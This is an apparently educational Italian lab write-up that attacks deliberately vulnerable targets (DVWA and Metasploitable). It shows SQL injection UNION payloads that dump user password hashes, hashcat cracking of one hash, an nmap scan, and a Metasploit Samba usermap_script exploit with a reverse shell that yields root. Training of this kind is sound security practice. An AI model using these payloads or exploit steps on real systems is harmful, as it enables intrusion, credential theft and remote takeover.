


SQL INJECTION

Verifica di vulnerabilità SQL Injection.
La query mostra i nomi e cognomi degli utenti.

192.168.13.150/dvwa/vulnerabilities/sqli/?id='+OR+1%3D1+%23&Submit=Submit#



- Home
- Instructions
- Setup
- Brute Force
- Command Execution
- CSRF
- File Inclusion
- SQL Injection**
- SQL Injection (Blind)
- Upload
- XSS reflected
- XSS stored
- DVWA Security
- PHP Info
- About
- Logout

Vulnerability: SQL Injection

User ID:

ID: ' OR 1=1 #
First name: admin
Surname: admin

ID: ' OR 1=1 #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 #
First name: Hack
Surname: Me

ID: ' OR 1=1 #
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 #
First name: Bob
Surname: Smith


More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

Effettuando una query “null” con UNION rivela una tabella “dvwa”



- Home
- Instructions
- Setup
- Brute Force
- Command Execution
- CSRF
- File Inclusion
- SQL Injection**
- SQL Injection (Blind)
- Upload
- XSS reflected
- XSS stored
- DVWA Security

Vulnerability: SQL Injection

User ID:

ID: ' UNION SELECT database(),null #
First name: dvwa
Surname:

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Effettuando una query con UNION table_name,null da “information_schema.tables” ricercando in “dvwa” otteniamo in risposta 2 tabelle. Quella interessata sarà “users”.

The screenshot shows the DVWA interface with the 'SQL Injection' vulnerability selected in the left-hand menu. The main content area displays the 'User ID' input field and a 'Submit' button. Below the input field, the output shows the results of a UNION query: 'ID: ' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema='dvwa' #', 'First name: guestbook', and 'Surname:'. The 'More info' section lists three links related to SQL injection.

Vulnerability: SQL Injection

User ID:

```
ID: ' UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema='dvwa' #
First name: guestbook
Surname:
```

More info

- <http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- http://en.wikipedia.org/wiki/SQL_injection
- <http://www.unixwiz.net/techtips/sql-injection.html>

A questo punto richiediamo le colonne contenute in “users”,mostrando la colonna “password”.

The screenshot shows the DVWA interface with the 'SQL Injection' vulnerability selected. The main content area displays the 'User ID' input field and a 'Submit' button. Below the input field, the output shows the results of a UNION query: 'ID: ' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users' #', 'First name: user_id', and 'Surname:'. The 'More info' section lists three links related to SQL injection.

Vulnerability: SQL Injection

User ID:

```
ID: ' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users' #
First name: user_id
Surname:
```

More info

- <http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- http://en.wikipedia.org/wiki/SQL_injection
- <http://www.unixwiz.net/techtips/sql-injection.html>

Dopo aver trovato user e password dalla tabella “users”, basta effettuare una query “user,password” con UNION dalla stessa, per rivelare nome utente e password sottoforma di hash.

Home
Instructions
Setup
Brute Force
Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
XSS reflected
XSS stored
DVWA Security
PHP Info
About
Logout

Vulnerability: SQL Injection

User ID:

ID: ' UNION SELECT user,password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user,password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user,password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user,password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user,password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

L'ultimo step è decriptare la password per renderla in chiaro.
In questo caso utilizzo hashcat.

La password decifrata è “letmein” con username “pablo”.

```
(kali@kali)-[~]
$ hashcat -m 0 Desktop/pablo_hash-pwd /usr/share/wordlists/john.lst allowed.userlist.passwd --show
0d107d09f5bbe40cade3de5c71e9e9b7:letmein

(kali@kali)-[~]
$
```

METASPLOIT FRAMEWORK

Scansione sulla macchina target META(192.168.13.150) per rilevare i servizi attivi sulle porte.

```
Nmap scan report for 192.168.13.150
Host is up (0.00028s latency).
Not shown: 65506 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8180/tcp  open  unknown
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drbb)
37454/tcp open  status       1 (RPC #100024)
44415/tcp open  mountd       1-3 (RPC #100005)
48203/tcp open  java-rmi     GNU Classpath grmiregistry
54216/tcp open  nlockmgr     1-4 (RPC #100021)
MAC Address: 08:00:27:56:7C:8E (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 217.90 seconds
```

(kali@kali)-[~]

La porta 445 è aperta e contiene un servizio potenzialmente vulnerabile. Dalla console metasploit cerco moduli attinenti al servizio target.

```
msf6 > search samba 3
Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/license/calicclnt_getconfig	2005-03-02	average	No	Computer Associates L
1	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Command
2	exploit/windows/fileformat/ms14_060_sandworm	2014-10-14	excellent	No	MS14-060 Microsoft Wi
3	exploit/unix/http/quest_kace_systems_management_rce	2018-05-31	excellent	Yes	Quest KACE Systems Ma

Sono stati trovati diversi moduli, in questo caso useremo il numero 4 ossia multi/samba/usermap_script

```
anagement Command Injection
 4  exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map
script" Command Execution
 5  exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6
nttrans Buffer Overflow
 6  exploit/linux/samba/setinfoheap 2012-04-10 normal Yes Samba SetInformation
Policy AuditEventsInfo Heap Overflow
 7  auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPa
sswordSet Uninitialized Credential State
 8  exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Me
mory Corruption (Linux x86)
 9  exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipen
ame() Arbitrary Module Load
10  auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privile
ge_set Heap Overflow
11  auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_n
ames Heap Overflow
12  exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_n
ames Heap Overflow
13  exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_n
ames Heap Overflow
14  exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_n
ames Heap Overflow
15  auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_e
a_list Integer Overflow
16  exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Ove
rflow (*BSD x86)
17  exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Ove
rflow (Linux x86)
18  exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Ove
rflow (Mac OS X PPC)
19  exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Ove
rflow (Solaris SPARC)

Interact with a module by name or index. For example info 19, use 19 or use exploit/solaris/samba/trans2open

msf6 > use 4
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) >
```

Dopo aver selezionato il modulo, listo i payloads disponibili compatibili.

```
msf6 exploit(multi/samba/usermap_script) > show payloads
Compatible Payloads
```

Seleziono il payload numero 36 ovvero cmd/unix/reverse_ruby.

```
36  payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37  payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38  payload/cmd/unix/reverse_socat_sctp normal No Unix Command Shell, Reverse Sctp (via socat)
39  payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
40  payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
41  payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
42  payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43  payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)

msf6 exploit(multi/samba/usermap_script) > set payload 36
payload => cmd/unix/reverse_ruby

msf6 exploit(multi/samba/usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
Name      Current Setting  Required  Description
-----
CHOST      no               no        The local client address
CPORT      no               no        The local client port
Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_ruby):
Name      Current Setting  Required  Description
-----
LHOST     192.168.13.100  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   *
```

Settaggio rhost e rport. E conferma avvenuto cambiamento.

```
msf6 exploit(multi/samba/usermap_script) > set rhost 192.168.13.150
rhost => 192.168.13.150
msf6 exploit(multi/samba/usermap_script) > set rport 445
rport => 445
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):



| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                           |
| RHOSTS  | 192.168.13.150  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 445             | yes      | The target port (TCP)                                                                                  |



Payload options (cmd/unix/reverse_ruby):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.13.100  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |


```

Avvio l'exploit, possiamo notare come viene stabilita una connessione con la macchina target "session 1"

```
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP double handler on 192.168.13.100:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo zFy4602RLgcYjYyc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "zFy4602RLgcYjYyc\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.13.100:4444 → 192.168.13.150:53437) at 2023-09-25 09:06:11 -0400
```

Lancio il comando "ifconfig" per verificare di essere nella macchina .

```
[*] Command shell session 1 opened (192.168.13.100:4444 → 192.168.13.150:53437) at 2023-09-25 09:06:11 -0400

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:56:7c:8e
          inet addr:192.168.13.150  Bcast:192.168.13.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe56:7c8e/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:69099 errors:0 dropped:0 overruns:0 frame:0
          TX packets:66401 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4464532 (4.2 MB)  TX bytes:3726514 (3.5 MB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:323 errors:0 dropped:0 overruns:0 frame:0
          TX packets:323 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:121322 (118.4 KB)  TX bytes:121322 (118.4 KB)

whoami
root
```